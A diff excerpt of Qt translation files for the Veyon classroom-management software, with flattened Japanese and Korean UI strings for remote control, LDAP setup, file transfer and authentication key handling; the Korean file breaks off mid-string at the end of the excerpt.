session + + + + Always for this session + + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + 名前 + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + + + + Open website + + + + Click this button to open a website on all computers. + + + + Please enter the URL of the website to open: + + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + + + + Port: + + + + Password: + + + + + FeatureControl + + Feature control + + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + ユーザーインターフェイス + + + Language: + + + + Use system language setting + + + + Veyon + + + + Logging + + + + Log file directory + ログファイルのディレクトリ + + + ... + ... + + + Log level + ログレベル + + + Nothing + 無し + + + Only critical messages + 致命的なエラーのみ + + + Errors and critical messages + エラーと致命的なエラー + + + Warnings and errors + 警告とエラー + + + Information, warnings and errors + + + + Debug messages and everything else + + + + Limit log file size + + + + Clear all log files + + + + Log to standard error output + + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + + + + All log files were cleared successfully. + + + + Error + + + + Could not remove all log files. + + + + MB + + + + Rotate log files + + + + x + + + + seconds + + + + Write to logging system of operating system + + + + Authentication + 認証 + + + Method: + + + + Logon authentication + + + + Key file authentication + + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + + + + Allow access to the internet + + + + Show help about command + + + + Block internet + + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + + + + Basic settings + + + + General + 一般 + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + + + + group member attribute + + + + Group not found + + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + + + + user groups + + + + computer groups + + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + メインウィンドウ + + + toolBar + ツールバー + + + General + 一般 + + + &File + + + + &Help + + + + &Quit + + + + Ctrl+Q + + + + Ctrl+S + + + + L&oad settings from file + + + + Ctrl+O + + + + About Qt + + + + Authentication impossible + + + + Configuration not writable + + + + Load settings from file + + + + Save settings to file + + + + Unsaved settings + + + + There are unsaved settings. Quit anyway? + + + + Veyon Configurator + + + + Service + + + + Master + + + + Access control + + + + About Veyon + + + + Auto + + + + Computer rooms + + + + About + 詳細 + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + ディレクトリ + + + ... + ... + + + User configuration + + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + + + + Hide empty rooms + + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + ユーザーインターフェイス + + + Background color + + + + Thumbnail update interval + + + + ms + + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + + + + + PasswordDialog + + Username + + + + Password + + + + Veyon Logon + + + + Authentication error + + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + + + + Click this button to reboot all computers. + + + + Power down + + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + + + + Confirm reboot + + + + Confirm power down + + + + Do you really want to reboot the selected computers? + + + + Do you really want to power down the selected computer? + + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + + + + Open a remote view for a computer without interaction. + + + + Remote control + リモート操作 + + + Open a remote control window for a computer. + + + + Remote access + + + + Remote view or control a computer + + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + + + + Remote control + リモート操作 + + + Send shortcut + + + + Fullscreen + フルスクリーン + + + Window + + + + Quit + + + + Ctrl+Alt+Del + + + + Ctrl+Esc + + + + Alt+Tab + + + + Alt+F4 + + + + Win+Tab + + + + Win + + + + Menu + + + + Alt+Ctrl+F1 + + + + Connecting %1 + + + + Connected. + + + + Screenshot + + + + + RoomSelectionDialog + + Room selection + + + + enter search filter... + + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + + + + Unlock + + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + + + + + ScreenshotFeaturePlugin + + Screenshot + + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + + + + Screenshot of %1 computer have been taken successfully. + + + + Take screenshots of computers and save them locally. + + + + + ScreenshotManagementView + + User: + + + + Date: + + + + Time: + + + + Show + + + + Delete + + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + + + + + ServiceConfigurationPage + + General + 一般 + + + Autostart + 自動起動 + + + Hide tray icon + 通知領域のアイコンを非表示 + + + Start service + サービスを起動 + + + Stopped + 停止 + + + Stop service + サービスを停止 + + + State: + 状態: + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + + + + Demo server port + デモサーバーのポート + + + Enable firewall exception + + + + Allow connections from localhost only + + + + Internal VNC server port + + + + VNC server + + + + Plugin: + + + + Restart %1 Service + + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + + + + Service is not running + + + + Configure and control Veyon service + + + + Register Veyon Service + + + + Unregister Veyon Service + + + + Start Veyon Service + + + + Stop Veyon Service + + + + Restart Veyon Service + + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + + + + Use the field below to type your message which will be sent to all selected users. + + + + + TextMessageFeaturePlugin + + Text message + + + + Use this function to send a text message to all users e.g. to assign them new tasks. + + + + Message from teacher + 先生からのメッセージ + + + Send a message to a user + + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + + + + Poll full screen (leave this enabled per default) + + + + Low accuracy (turbo mode) + + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + + + + Click this button to logout users from all computers. + + + + Confirm user logout + + + + Do you really want to logout the selected users? + + + + Logout + + + + + VeyonCore + + [OK] + + + + [FAIL] + + + + Invalid command! + + + + Available commands: + + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + + + + Available modules: + + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/ko_KR.ts b/translations/ko_KR.ts new file mode 100644 index 0000000..f97a97f --- /dev/null +++ b/translations/ko_KR.ts @@ -0,0 +1,3928 @@ + + + AboutDialog + + About + 정보 + + + Translation + 번역 + + + License + 라이센스 + + + About Veyon + Veyon에 대해서 + + + Contributors + 참여하신 분들 + + + Version: + 버전: + + + Website: + 웹 사이트: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + 현재 한국어 번역이 진행중입니다 (영어에서 한국어로). + +Veyon 번역에 관심이 있거나 번역을 개선하실 의향이 있으신 분들은 Veyon 개발자에게 연락바랍니다. + + + About %1 %2 + %1 %2 에 대하여 + + + Support Veyon project with a donation + Veyon 프로그램에 기부하여 지원하기 + + + + AccessControlPage + + Computer access control + 컴퓨터 접근제어 + + + Grant access to every authenticated user (default) + 인증된 모든 사용자에게 접근 허용(기본값) + + + Test + 테스트 + + + Restrict access to members of certain user groups + 특정 유저 그룹 멤버만 접근 허용 + + + Process access control rules + 프로세스 접근제어 규칙 + + + User groups authorized for computer access + 컴퓨터 접근이 허용된 유저 그룹 + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Veyon 네트워크의 컴퓨터에 접근을 허용할 사용자가 속한 그룹을 추가 하세요. + + + Authorized user groups + 승인된 사용자 그룹 + + + All groups + 모든 그룹 + + + ... + ... + + + Access control rules + 접근 제어 규칙 + + + Add access control rule + 접근제어규칙 추가 + + + Remove access control rule + 접근제어규칙 제거 + + + Move selected rule down + 선택된 규칙 아래로 이동 + + + Move selected rule up + 선택된 규칙 위로 이동 + + + Edit selected rule + 선택된 규칙 수정 + + + Enter username + 사용자 이름 입력 + + + Please enter a user login name whose access permissions to test: + 접근 권한을 시험할 사용자의 로그인 이름을 입력하세요: + + + Access allowed + 접근 허용됨 + + + The specified user is allowed to access computers with this configuration. + 선택된 사용자는 이 설정으로 컴퓨터 접근이 허가됨 + + + Access denied + 접근 거부됨 + + + The specified user is not allowed to access computers with this configuration. + 선택된 사용자는 이 설정으로 컴퓨터 접근이 거부 됨. + + + Enable usage of domain groups + 도메인 그룹 사용 허용 + + + User groups backend: + 유저그룹 백엔드 + + + Missing user groups backend + 유저그룹 백엔드 없음 + + + No default user groups plugin was found. Please check your installation! + 디폴트 유저 그룹 플러그인이 없습니다. 설치상태를 확인하세요! + + + + AccessControlRuleEditDialog + + Edit access control rule + 접근 제어 규칙 편집 + + + General + 일반사항 + + + enter a short name for the rule here + 규칙의 단축이름을 넣으세요 + + + Rule name: + 규칙이름: + + + enter a description for the rule here + 이곳에 규칙에 대한 설명을 넣으세요 + + + Rule description: + 규칙 설명: + + + Invert all conditions ("is/has" interpreted as "is/has not") + 모든 조건 반대로 ("is/has" 는 "is/has not" 로 변경됨) + + + Conditions + 조건 + + + is member of group + 는 그룹의 멤버임 + + + is located in room + 는 교실에 있습니다 + + + Accessing computer is localhost + 연결하는 컴퓨터는 로컬 호스트입니다 + + + Accessing user is logged on user + 접속하는 사용자는 로그온되어 있습니다 + + + Accessing user is already connected + 접속하는 사용자는 이미 연결되어 있습니다 + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + 한개 이상의 조건이 활성화 될 경우 규칙이 적용되려면 각각의 조건이 일치해야 한다 (논리적 AND). 여러개 중에서 하나의 조건만 맞아야 할 경우에는(논리적 OR) 다수의 접근 제어 규칙을 생성하세요 . + + + Action + 수행작업 + + + Allow access + 접근 허가 + + + Deny access + 접근 거부 + + + Ask logged on user for permission + 로그 온 된 사용자에게 허가요구 + + + None (rule disabled) + 없음 (규칙 비활성화) + + + Accessing user + 접속중인 사용자 + + + Accessing computer + 연결하는 컴퓨터 + + + Local (logged on) user + (로그온된)로컬 사용자 + + + Local computer + 로컬 컴퓨터 + + + Always process rule and ignore conditions + 조건 무시하고 항상 규칙 수행 + + + No user logged on + 로그온된 사용자 없음 + + + Accessing computer is located in the same room as local computer + 연결하는 컴퓨터는 로컬컴퓨터와 같은 교실에 있습니다 + + + Accessing user has one or more groups in common with local (logged on) user + 연결하는 사용자는 로컬 사용자(로그온됨)와 하나 또는 그이상의 공통 그룹을 갖고 있습니다 + + + + AccessControlRulesTestDialog + + Access control rules test + 접근제어 규칙 시험 + + + Accessing user: + 접속하는 사용자: + + + Local computer: + 로컬 컴퓨터: + + + Accessing computer: + 연결하는 컴퓨터: + + + Please enter the following user and computer information in order to test the configured ruleset. + 설정된 규칙을 시험하기 위해 다음 사용자및 컴퓨터 정보를 입력하세요. + + + Local user: + 로컬 사용자: + + + Connected users: + 연결된 사용자: + + + The access in the given scenario is allowed. + 주어진 상황에 대한 접근이 허용됨. + + + The access in the given scenario is denied. + 주어진 상황에 대한 접근이 거부됨. + + + The access in the given scenario needs permission of the logged on user. + 주어진 상황에 대한 접근은 로그온된 사용자의 허가가 필요함. + + + ERROR: Unknown action + ERROR: 정의되지 않은 작업 + + + Test result + 시험 결과 + + + + AuthKeysConfigurationPage + + Authentication keys + 인증키 + + + Introduction + 소개 + + + Key file directories + 키 화일 폴더 + + + Public key file base directory + 공개 키 화일 기본 폴더 + + + Private key file base directory + 개인 키 화일 기본 폴더 + + + ... + ... + + + Available authentication keys + 사용 가능한 인증키들 + + + Create key pair + 키 페어 생성 + + + Delete key + 키 삭제 + + + Import key + 키 불러오기 + + + Export key + 키 내보내기 + + + Set access group + 접근 그룹 설정 + + + Key files (*.pem) + 키 화일 (*.pem) + + + Authentication key name + 인증키 이름 + + + Please enter the name of the user group or role for which to create an authentication key pair: + 인증키 페어를 생성할 유저그룹의 이름 또는 임무를 입력하세요 + + + Do you really want to delete authentication key "%1/%2"? + 정말로 인증키 "%1/%2" 를 삭제하시겠습니까? + + + Please select a key to delete! + 삭제할 키를 선택하세요 + + + Please enter the name of the user group or role for which to import the authentication key: + 접근 키를 불러올 사용자 그룹이나 역할의 이름을 입력하세요. + + + Please select a key to export! + 내보낼 키를 선택하세요! + + + Please select a user group which to grant access to key "%1": + 키 "%1"에 대한 접근을 허용할 유저 그룹을 선택하세요: + + + Please select a key which to set the access group for! + 이 접근 그룹에 설정할 키를 선택하세요! + + + Please perform the following steps to set up key file authentication: + 키 화일 인증을 설정하기 위해 다음 단계들을 실행하세요: + + + 1) Create a key pair on the master computer. + 1) 마스터 컴퓨터에서 키페어를 생성하시오. + + + 2) Set an access group whose members should be allowed to access other computers. + 2) 다른 컴퓨터에 접근을 허용할 멤버가 속한 그룹을 설정하세요. + + + 3) Export the public key and import it on all client computers with the same name. + 3) 공개키를 내보내고 그키를 같은 이름을 가진 모든 클라이언트 컴퓨터에서 읽어들이기. + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + 더 자세한 정보는 <a href="https://veyon.readthedocs.io/en/latest/admin/index.html"> Veyon 관리자 매뉴얼을 참조하세요 </a> . + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + 인증 키는 두 부분으로 구성되어 있습니다, 공개 키 파트와 개인 키 파트. +개인 키를 사용하여 마스터 컴퓨터에서 클라이언트 컴퓨터에 접속할 수 있습니다. +오직 승인된 사용자만 개인 키 화일을 읽을 수 있도록 하는 것이 아주 중요합니다. +공개 키 파트는 클라이언트 컴퓨터에서 사용되며 들어오는 연결 요청이 허가된 것인지 검증하는데 사용됩니다. + + + + AuthKeysManager + + Please check your permissions. + 권한을 점검하시기 바랍니다. + + + Key name contains invalid characters! + 키 이름에 유효하지 않은 글자가 들어있습니다! + + + Invalid key type specified! Please specify "%1" or "%2". + 유효하지 않은 키 형식을 지정했습니다 ! "%1" 또는 "%2"를 지정하세요. + + + Specified key does not exist! Please use the "list" command to list all installed keys. + 선택한 키가 존재하지 않음! "list" 명령어를 이용해서 설치된 모든 키 리스트를 보세요. + + + One or more key files already exist! Please delete them using the "delete" command. + 하나 또는 그 이상의 키화일들이 이미 존재함! "delete" 명령어로 그 화일들을 삭제하세요. + + + Creating new key pair for "%1" + "%1"에대한 새로운 키페어를 생성하고 있습니다 + + + Failed to create public or private key! + 공개 또는 개인 키 생성 실패. + + + Newly created key pair has been saved to "%1" and "%2". + 새로 생성된 키 페어가 "%1" 과 "%2"로 저장되었습니다. + + + Could not remove key file "%1"! + "%1" 의 키 화일을 삭제할 수 없습니다! + + + Could not remove key file directory "%1"! + "%1" 의 키 화일 폴더를 삭제할 수 없습니다! + + + Failed to create directory for output file. + 출력 화일용 폴더를 생성할 수 없습니다. + + + File "%1" already exists. + 화일 "%1" 이 이미 존재합니다. + + + Failed to write output file. + 출력화일을 쓸수 없습니다. + + + Key "%1/%2" has been exported to "%3" successfully. + 키"%1" "%2"를 성공적으로 "%3" 로 내보냈습니다. + + + Failed read input file. + 입력 화일 읽기 실패. + + + File "%1" does not contain a valid private key! + 화일 "%1" 은 유효한 개인 키를 포함하고 있지 않습니다! + + + File "%1" does not contain a valid public key! + 화일 "%1" 은 유효한 공개키를 포함하고 있지 않습니다! + + + Failed to create directory for key file. + 키 화일용 폴더 생성 실패. + + + Failed to write key file "%1". + 키 화일 "%1"에 쓰는데 실패. + + + Failed to set permissions for key file "%1"! + 키 화일 "%1"의 권한설정에 실패했습니다! + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + 키 "%1/%2" 를 성공적으로 불러왔습니다. 미승인 접근을 방지하기 위해 "%3" 의 화일 권한을 점검하세요. + + + Failed to convert private key to public key + 개인키를 공개키로 변환하기 실패. + + + Failed to create directory for private key file "%1". + 개인 키 화일용 폴더 생성 실패. "%1". + + + Failed to save private key in file "%1"! + 개인키를 화일 "%1"로 저장하는데 실패! + + + Failed to set permissions for private key file "%1"! + 개인 키 화일 "%1"의 권한설정에 실패했습니다! + + + Failed to create directory for public key file "%1". + 공개 키 화일용 폴더 생성 실패. "%1". + + + Failed to save public key in file "%1"! + 공개키를 화일 "%1"로 저장하는데 실패! + + + Failed to set permissions for public key file "%1"! + 공개 키 화일 "%1"의 권한설정에 실패했습니다! + + + Failed to set owner of key file "%1" to "%2". + 키 화일 "%1"의 소유자 권한을 "%2" 화일에 설정하는데 실패했습니다. + + + Failed to set permissions for key file "%1". + 키 화일 "%1"의 권한설정에 실패했습니다! + + + Key "%1" is now accessible by user group "%2". + 지금부터 사용자 그룹 "%2"는 키 "%1" 에 접근할 수 있습니다. + + + <N/A> + <N/A> + + + Failed to read key file. + 키 화일 읽기 실패. + + + + AuthKeysPlugin + + Create new authentication key pair + 새로운 인증키 페어 생성 + + + Delete authentication key + 인증키 삭제하게 + + + List authentication keys + 인증키 보여주기 + + + Import public or private key + • 공개 또는 개인 접근 키 불러오기 + + + Export public or private key + • 공개 또는 개인 접근 키 내보내기 + + + Extract public key from existing private key + 기존 개인키에서 공개키 뽑아내기 + + + Set user group allowed to access a key + 키에 접근을 허용할 유저 그룹을 설정하세요. + + + KEY + KEY + + + ACCESS GROUP + 접근 그룹 + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + 이 명령어는 <KEY> 에 대한 화일 접근 권한을 조정하여 유저 그룹 <ACCESS GROUP> 만 읽기 허가를 합니다. + + + NAME + 이름 + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + 이 명령어는 이름 <NAME> 를 가진 새로운 인증 키 페어를 생성하고 개인키와 공개키를 지정된 키 폴더에 저장합니다. + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + 이 명령어는 키폴더에 설정된 인증키 <KEY> 를 삭제합니다. 이키를 삭제하면 다시 복구할 수 없습니다. + + + FILE + 화일 + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + 이 명려어는 인증키 <KEY> 를 <FILE>로 내 보냅니다. 만일 <FILE> 이 지정되지 않으면 <KEY>의 이름 과 형식을 이용해서 이름이 생성됩니다 . . + + + This command imports the authentication key <KEY> from <FILE>. If 